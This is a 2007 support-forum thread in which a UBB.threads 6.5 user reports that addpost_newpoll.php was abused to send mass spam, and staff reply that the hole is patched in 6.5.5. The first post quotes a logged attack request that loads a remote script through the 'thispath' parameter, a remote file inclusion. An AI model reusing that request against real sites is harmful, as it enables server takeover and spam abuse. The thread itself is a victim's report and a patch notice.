Site Links
Home
Features
Documentation
Pricing & Order
Members Area
Support Options
Who's Online
4 registered (Djuma, Mike L, Ruben Rocha, 1 invisible), 15 Guests and 16 Spiders online.
Key: Admin, Global Mod, Mod
Featured Member
Registered: 06/05/06
Posts: 92
Top Posters (30 Days)
Ruben Rocha 180
Gizmo 112
Rick 106
Thelockman 79
driv 43
AllenAyres 35
ntdoc 28
Ian 24
Sirdude 23
ScriptKeeper 20
Latest Photos
My Home System
test photo gallery
Bernese Mountain Dogs
My Daimler
Dorado and shark
Topic Options
Rate This Topic
#194771 - 08/21/07 01:34 AM extreme security bug used to send ou 100.000s of spam emails
wnedoe Offline
stranger

Registered: 08/21/07
Posts: 1
I use version 6.5

My provider informed me that the UBBT script addpost_newpoll.php
was used to send ou more than 100.000 spam emails and nearly cancelled my contract.

It seems that this is a well known bug at least to spammers as they had even programmed a complete USER INTERFACE for sending spam with UBBt and so probably millions of spam emails are sent out each day with he help of ubbt.

The way this script is/was abused

/forum//addpost_newpoll.php?addpoll=preview&thispath=http://geocities.com/uza_mere/uza.txt? HTTP/1.1" 200

(the abuse script has gone at this place but is probably to be found at a lot of places elsewhere

Top
#194772 - 08/21/07 02:19 AM Re: extreme security bug used to send ou 100.000s of spam emails [Re: wnedoe]
Gizmo Moderator Offline

***

Registered: 06/04/06
Posts: 12007
Loc: Portland, OR; USA
Are you running 6.5? If so, security issues are well known in builds prior to 6.5.5, you should consider upgrading.
_________________________
UGN Security, Elite Web Gamers & VNC Web Design Owner
Longtime UBB Supporter, UBB7 Beta Tester & Resident Post-A-Holic

Top
#194779 - 08/21/07 07:55 AM Re: extreme security bug used to send ou 100.000s of spam emails [Re: Gizmo]
Rick Administrator Offline

*****

Registered: 06/04/06
Posts: 7903
Loc: Aberdeen, WA
Yes, we sent out an email to all of our customers when we were made aware of this and had a patch out to fix it. You should definitely at least upgrade to 6.5.5 at the minimum.
_________________________
UBB.threads™ Developer
My Personal Website · StogieSmokers.com

Top


Shout Box

Today's Birthdays
No Birthdays
Recent Topics
I'm the Admin but.....
by David DelMonte
12/02/08 11:12 AM
Fatal error: Smarty::require_once
()

by ThreadsUser
12/02/08 08:17 AM
PayPal batch file for ID'ing expired and failed payment subscriptions?
by Mitch P.
12/02/08 06:02 AM
Shrinking graemlins
by Djuma
12/01/08 05:48 PM
2 problems I'm seeing now.
by DougMM
12/01/08 04:39 PM
Forum Stats
4261 Members
33 Forums
30535 Topics
154977 Posts

Max Online: 978 @ 06/24/07 08:19 PM